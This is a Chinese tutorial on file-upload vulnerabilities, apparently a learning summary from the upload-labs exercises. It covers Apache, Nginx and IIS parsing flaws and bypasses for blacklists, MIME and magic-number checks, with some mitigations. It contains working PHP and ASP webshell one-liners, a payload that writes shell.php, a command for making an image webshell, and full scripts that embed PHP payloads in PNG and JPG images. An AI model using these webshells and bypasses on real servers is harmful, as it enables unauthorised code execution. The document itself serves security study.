一文了解文件上传漏洞

2022-09-30 14:12:52 浏览数 (1)


一文了解文件上传漏洞

前言

刷完了upload-labs 对文件上传漏洞有了些许认识 在此做个小结与记录

1、文件上传漏洞概述

文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤,而导致的用户可以越过其本身权限向服务器上上传可执行的动态脚本文件。 这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。 这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。 如果服务器的处理逻辑做的不够安全,则会导致严重的后果

2、一些基本概念

web容器

web容器是一种服务程序,在服务器一个端口就有一个提供相应服务的程序,而这个程序就是处理从客户端发出的请求,如tomcat、apache、nginx等等。(可以理解为给编程语言提供环境)

中间件:提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。

容器:给处于其中的应用程序组件(ASP,JSP,PHP)提供一个环境。使处于其中的应用程序组件之间跟容器中的环境变量接口交互,不必关注其他系统问题。

服务器:www服务器或http服务器。提供web信息游览服务。它只需支持http协议、html文档格式以及url,向游览器提供服务的程序。

IIS

IIS全称是互联网信息服务,包括FTP/FTPS、NNTP、HTTP/HTTPS、SMTP等服务。

.net Framework是基础类库,是程序运行的底层框架。

IIS是架设Web服务器用来提供网页游览服务的,属于系统环境。

一般用ASP.NET开发软件,然后靠IIS对公网提供服务。

文件解析

当服务器接收到一个HTTP请求的时候,IIS首先需要决定如何去处理这个请求(服务器处理.aspx和.html肯定是不一样的),根据的是文件的后缀名

服务器获取所请求的页面(也可以是文件)的后缀名后接下来会在服务器端寻找可以处理这类后缀名的应用程序,如果IIS找不到可以处理此类文件的应用程序,那么IIS将直接把这个文件返还给客户端

一句话木马

Asp一句话:<%eval request("xxx")%> Php 一句话:<%php @eval($_POST[xxx]);?> Aspx一句话:<%@ Page Languag="xxx"%><%eval(Request.Item["xxx"])%> 配合菜刀或蚁剑使用,若是图片配合Edjpgcom

3、web容器解析漏洞

文件解析漏洞,是指Web容器(Apache、nginx、iis等)在解析文件时出现了漏洞,以其他格式执行出脚本格式的效果

Apache解析漏洞

1、多后缀

  • 在Apache1.x,2.x中,Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断
  • 因此可以上传一个test.php.qwea文件绕过验证且服务器依然会将其解析为php

注:Apache能够认识的文件在mime.types文件里

应对:后缀验证尽量使用白名单的方式,这样即使使用不存在的后缀名,也无法绕过

2、配置问题导致漏洞

  • 如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
  • 如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行

应对:apache配置文件,禁止.php.这样的文件执行

代码语言:javascript复制
<Files ~ ".(php.|php3.)">
        Order Allow,Deny
        Deny from all
</Files>

3、罕见后缀 Apache配置文件中会有. .ph(p[345]?|t|tml)此类的正则表达式 也就是说php3php4php5phtphtml这样的后缀也是可以被解析的

4、.htaccess文件 生效条件

  • Apache的配置文件中写上AllowOverride All
  • Apache要加载mod_Rewrite模块:LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

.htaccess文件可以配置很多事情 如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制

例1

代码语言:javascript复制
AddType application/x-httpd-php xxx

就成功地使该.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件

例2

代码语言:javascript复制
<FilesMatch "shell.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

Apache把shell.jpg文件解析为php文件

Nginx解析漏洞

1、PHP CGI解析漏洞 Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

  • Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME
  • 当访问xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为phpinfo.jpg/1.php,然后构造成SCRIPT_FILENAME传递给PHP CGI
  • 如果开启fix_pathinfo这个选项,就会触发在PHP中的如下逻辑:
  • PHP会认为SCRIPT_FILENAMEphpinfo.jpg,而1.phpPATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析

另一种

  • 若PHP配置文件中cgi.fix_pathinfo默认是开启
  • 上传test.jpg,内容如下

代码语言:javascript复制
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
  • 然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php

2、空字节代码执行漏洞

  • 旧版本(0.5.,**0.6.,0.7,0.8<=0.7.65<=0.8.37)
  • 发出请求http://example.com/file.ext%00.php就会将file.ext作为PHP文件解析

Ngnix在遇到空字节时与后端FastCGI处理不一致 导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg.php来执行其中的代码

应对:禁止在上传文件目录下执行php。 在nginx虚拟机配置或者fcgi.conf配置加如下代码

代码语言:javascript复制
if ($request_filename ~* (.*).php) {
    set $php_url $1;
}
if (!-e $php_url.php) {
    return 403;
}
IIS5.x-6.x解析漏洞

1、目录解析(6.0) 形式:www.xxx.com/xx.asp/xx.jpg 原理: 服务器默认会把.asp.asa目录下的文件都解析成asp文件。

2、文件解析(6.0) 形式:www.xxx.com/xx.asp;.jpg 原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了

4、绕过上传校验

前端限制

当用户在客户端选择文件点击上传的时候,客户端还没有向服务器发送任何消息,就对本地文件进行检测来判断是否是可以上传的类型,这种方式称为前台脚本检测扩展名

绕过方法:

  • 绕过前台脚本检测扩展名,就是将所要上传文件的扩展名更改为符合脚本检测规则的扩展名,通过BurpSuite工具,截取数据包,并将数据包中文件扩展名更改回原来的,达到绕过的目的 例如:文件名本来为evil.jpg,上传时,用BurpSuite截包后,将数据包中的名字改为evil.php(或其它脚本类型)即可
  • 如果是JS脚本检测,在本地浏览器客户端禁用JS即可 可使用火狐浏览器的NoScript插件、IE中禁用掉JS等方式实现
服务器端检测

1、黑名单过滤 黑名单过滤是一种不安全的方式

  • 黑名单定义了一系列不安全的扩展名
  • 服务器端在接收文件后,与黑名单扩展名对比
  • 如果发现文件扩展名与黑名单里的扩展名匹配,则认为文件不合法

绕过方法:

  • 特殊后缀:php3php4php5phtphtml
  • .htaccess文件:见上面解析漏洞
  • .user.ini文件:auto_prepend_file=test.jpg,让所有php文件都“自动”包含test.jpg文件
  • 后缀大小写:PHP、Php、pHp
  • 双写后缀
  • 1.php. .(点 空格 点)绕过
  • 见下面系统相关

2、白名单过滤 白名单定义允许上传的扩展名,拥有比黑名单更好的防御机制 如:$WhiteList=array(rar',jpg',png,bmpy,gif,jpg;doc); 在获取到文件扩展名后对 WhiteList数组里的扩展名迭代判断,如果文件扩展名被命中,程序将认为文件是合法的,否则不允许上传

绕过方法:

  • 主要是截断上传攻击,见下面

3、MIME验证 MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准 MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据 HTTP协议规定了上传资源的时候在Header中使用Content-Type 字段表示文件的MIME 类型 当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开

绕过方法: 使用各种各样的工具(如burpsuite)强行篡改Header就可以 将Content-Type: application/php改为其他web程序允许的类型

  • Content-Type: image/jpg
  • Content-Type: image/png
  • Content-Type: text/plain

4、目录验证 在文件上传时,程序通常允许用户将文件放到指定的目录中 然而有些Web开发人员为了让代码更“健壮”,通常会做一个操作 如果指定的目录存在,就将文件写入目录中,不存在则先建立目录,然后写入

5、截断上传攻击

  • 在许多语言函数中,处理字符串的函数中0x00被认为是终止符
  • 文件名后缀有一个字节,可以截断某些函数对文件名的判断
  • 忽略后面上传的文件或图片,只上传截断前的文件或图片
  • 条件:php 版本<5.3.4,php的magic_quotes_gpc为OFF状态

代码语言:javascript复制
filename=test.php.txt

txt是合法上传,被截断,最终呈现的是test.php

使用场景:

  • 上传时路径可控,使用00截断
  • 文件下载时,00截断绕过白名单检查
  • 文件包含时,00截断后面限制(主要是本地包含时)
  • 其它与文件操作有关的地方都可能使用00截断

6、文件幻数检测 主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下

要绕过jpg 文件幻数检测就要在文件开头写上下图的值 Value = FF D8 FF E0 00 10 4A 46 49 46

要绕过gif 文件幻数检测就要在文件开头写上下图的值 Value = 47 49 46 38 39 61

要绕过png 文件幻数检测就要在文件开头写上下面的值 Value = 89 50 4E 47

然后在文件幻数后面加上自己的一句话木马代码就行了

5、与操作系统相关

1、windows 上传不符合windows文件命名规则的文件名

  • test.asp.
  • test.php.
  • test.asp(空格)
  • test.php(空格)
  • test.php:1.jpg
  • test.php::$DATA
  • shell.php::$DATA

会被某些版本的windows系统自动去掉不符合规则符号后面的内容。

2、linux linux是大小写敏感的,因此一般检测也会区分大小写 但某些解析器是不区分大小写的,例如PHP,上传php不被解析,可以试试上传类似pHp后缀的文件名

3、CMS、编辑器漏洞 CMS漏洞:可以针对不同CMS存在的上传漏洞进行绕过 编辑器漏洞:比如FCK,ewebeditor等,可以针对编辑器的漏洞进行绕过

6、图片马

制作图片马 将一句话木马1.php和普通图片1.jpg合并 得到shell.jpg

代码语言:javascript复制
copy 1.jpg /b   1.php /a shell.jpg

上传文件

但直接访问图片并不能把图片当做PHP解析 还需要利用文件包含漏洞 在上传目录下建立一个php文件

代码语言:javascript复制
 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}

场景:

  • 只对文件头进行检测
  • 用getimagesize函数获取图像大小及相关信息
  • php_exif模块来判断文件类型

7、二次渲染

大佬文章 绕过方法:

  • 找到渲染前后没有变化的位置
  • 将php代码写进去,就可以成功上传带有php代码的图片
gif

关于绕过gif的二次渲染 我们只需要找到渲染前后没有变化的位置 然后将php代码写进去,就可以成功上传带有php代码的图片

png

png图片由3个以上的数据块组成.

PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们

1、分析数据块

  • IHDR 包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。 文件头数据块由13字节组成,它的格式如下图所示。
  • PLTE 辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。
  • IDAT 存储实际的数据,在数据流中可包含多个连续顺序的图像数据块 IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像
  • IEND 用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部 文件的结尾12个字符看起来总应该是这样的:00 00 00 00 49 45 4E 44 AE 42 60 82

2、绕过方法

  • 写入PLTE数据块 php底层在对PLTE数据块验证的时候,主要进行了CRC校验. 所以可以再chunk data域插入php代码,然后重新计算相应的crc值并修改即可. 这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03为索引彩色图像. CRC脚本
代码语言:javascript复制
import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data =  '504c5445'  re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)
  • 写入IDAT数据块 这里有国外大牛写的脚本,直接拿来运行即可.
代码语言:javascript复制
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y  = 3) {
   $r = $p[$y];
   $g = $p[$y 1];
   $b = $p[$y 2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>
jpg

大佬脚本

代码语言:javascript复制
<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad  ) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize $imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something's wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(d ) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8)   ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8)   ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
  • 随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg.
  • 使用脚本处理1.jpg,命令php jpg_payload.php 1.jpg

并不是所有图片都有空间填充payload 一个成功案例:画图软件构造1000*1000的纯白图片

8、条件竞争

如果先将文件上传到服务器,然后判断文件后缀是否在白名单里 这就在文件的处理顺序上出现了问题,不管文件类型是否合格就上传至服务器,之后再对其类型进行判断,这样的处理顺序导致了在多线程的情况下,有可能对于不合格的文件还没来得及删除就已经被访问,导致不合格的文件绕过了限制

因此我们可以打个时间差:上传1.php,只需要在它删除之前访问即可 可以利用burp的intruder模块不断上传,然后我们不断的访问刷新该地址

  • Payloads 是 Null payloads ,数目是 1000 ,线程 10
  • 访问上传的脚本,同样不用标记,不用 payload,数目1000,线程10

适用场景:有时间差

结语

基本总结了常见的文件上传漏洞 在ctf和现实中会有各种神奇的组合和方法 如Pass21


红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。

0 人点赞